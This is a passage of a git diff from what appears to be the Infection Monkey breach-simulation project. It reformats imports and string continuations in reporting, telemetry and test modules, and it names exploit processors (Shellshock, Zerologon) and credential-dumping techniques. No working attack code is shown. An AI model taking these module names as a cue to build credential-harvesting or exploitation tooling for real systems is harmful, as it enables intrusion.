b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py index 59501b6db70..2a39e63538f 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py @@ -1,7 +1,6 @@ import random -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\ - sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( FakeIpGenerator, ) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py index 981aa22a6c9..7a1fb4032d4 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py @@ -9,12 +9,10 @@ from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import ( SampleFileParser, ) -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\ - sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( FakeIpGenerator, ) -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\ - sample_multiplier.fake_monkey import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import ( FakeMonkey, ) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py index 3b18032d61b..7a4f30cff76 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py @@ -1,7 +1,6 @@ from unittest import TestCase -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\ - sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( FakeIpGenerator, ) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py index 0d14d9592e7..604d7c19850 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py @@ -1,7 +1,7 @@ -from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import ( # noqa: E501 +from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import ( # noqa: E501 get_linux_commands_to_modify_shell_startup_files, ) -from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import ( # noqa: E501 +from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import ( # noqa: E501 get_windows_commands_to_modify_shell_startup_files, ) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py index de27cbf59ab..4d3259e676f 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -57,7 +57,7 @@ class TestPypykatzHandler(TestCase): "credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f", "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b7294" - "7f5e80920034d1275d8613532025975e" + "7f5e80920034d1275d8613532025975e" "f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9", "sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da", "luid": 123086, @@ -66,7 +66,7 @@ class TestPypykatzHandler(TestCase): "credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f", "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b729" - "47f5e80920034d1275d8613532025975e" + "47f5e80920034d1275d8613532025975e" "f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9", "sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da", "luid": 123086, @@ -75,7 +75,7 @@ class TestPypykatzHandler(TestCase): "credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f", "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72" - "947f5e80920034d1275d8613532025975e" + "947f5e80920034d1275d8613532025975e" "f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9", "sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da", "luid": 123086, @@ -84,7 +84,7 @@ class TestPypykatzHandler(TestCase): "credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f", "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b729" - "47f5e80920034d1275d8613532025975e" + "47f5e80920034d1275d8613532025975e" "f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9", "sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da", "luid": 123086, diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 7f277265a9d..af27808a964 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -227,7 +227,7 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1216", "description": "Adversaries may use scripts signed with " - "trusted certificates to " + "trusted certificates to " "proxy execution of malicious files on Windows systems.", }, }, @@ -256,7 +256,7 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1003", "description": "Mapped with T1078 Valid Accounts because " - "both techniques require" + "both techniques require" " same credential harvesting modules. " "Credential dumping is the process of obtaining account login " "and password " diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 2cf94b4e1d8..01ebfe70c67 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -65,7 +65,7 @@ "title": "PostgreSQLFinger", "safe": True, "info": "Checks if PostgreSQL service is running and if " - "its communication is encrypted.", + "its communication is encrypted.", "attack_techniques": ["T1210"], }, ], diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 8c4132021ec..d03527b89c2 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -176,7 +176,7 @@ "type": "integer", "default": 3000, "description": "Maximum time (in milliseconds) " - "to wait for TCP response", + "to wait for TCP response", }, "tcp_scan_get_banner": { "title": "TCP scan - get banner", diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 849d8df1b73..03e5ce8b196 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -2,16 +2,16 @@ from enum import Enum from typing import Type -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 CredExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 ShellShockExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( # noqa: E501 ZerologonExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index f7f4df67679..05c9233fee0 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -1,8 +1,8 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 CredentialType, ExploiterReportInfo, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py index 9dfb803caff..ad249d58a1b 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -1,5 +1,5 @@ from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 ExploiterReportInfo, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py index 9b7f8080223..bd047fbf5b3 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploiterReportInfo, ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py index 408e8cef64a..0b99fc87d14 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploiterReportInfo, ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 50381475cff..ade56e64e99 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -22,13 +22,13 @@ get_config_network_segments_as_subnet_groups, ) from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501 ExploiterDescriptorEnum, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 CredentialType, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploiterReportInfo, ) from monkey_island.cc.services.reporting.pth_report import PTHReportService diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index fa5413d4fc9..73a81e332fe 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -3,7 +3,7 @@ from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 SystemInfoTelemetryDispatcher, ) from monkey_island.cc.services.wmi_handler import WMIHandler diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py index 572dc5ac959..042f5b874b7 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -1,7 +1,7 @@ import uuid from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 SystemInfoTelemetryDispatcher, ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index b1c9cbd965f..6829daf4bf2 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -3,7 +3,7 @@ import pytest from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 SystemInfoTelemetryDispatcher, process_aws_telemetry, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index 33967d019a3..7db9a598867 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -2,7 +2,7 @@ from common.utils.code_utils import get_value_from_dict from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( # noqa: E501 RULE_PATH_CREATORS_LIST, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py index c8b4324344a..55f718608a4 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -2,7 +2,7 @@ CloudformationRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py index d3c061e4a3b..1f764ec8bd3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -2,7 +2,7 @@ CloudTrailRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py index d0fb8ad06e9..573d129eef7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -2,7 +2,7 @@ CloudWatchRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py index cef82fb729e..45cc2e3d6d7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -2,7 +2,7 @@ ConfigRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py index 4f4394ebdbf..65b32029215 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py index add4ec28257..8a560f4019d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py index 85f9b4e589a..0ab9e686f17 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py index 588701f1761..56252a3f620 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py index 324cb035a40..90ba4430869 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -2,7 +2,7 @@ RedshiftRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py index eb92ab78f9f..aa6f101aae6 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py index 417f4de8c46..4530aa0970f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py index 3eebf05e5c9..bb619f92fe7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py index ca09a4fa8ef..19229c1d643 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py index 2d4ce433d28..7f3cfecdea2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules from 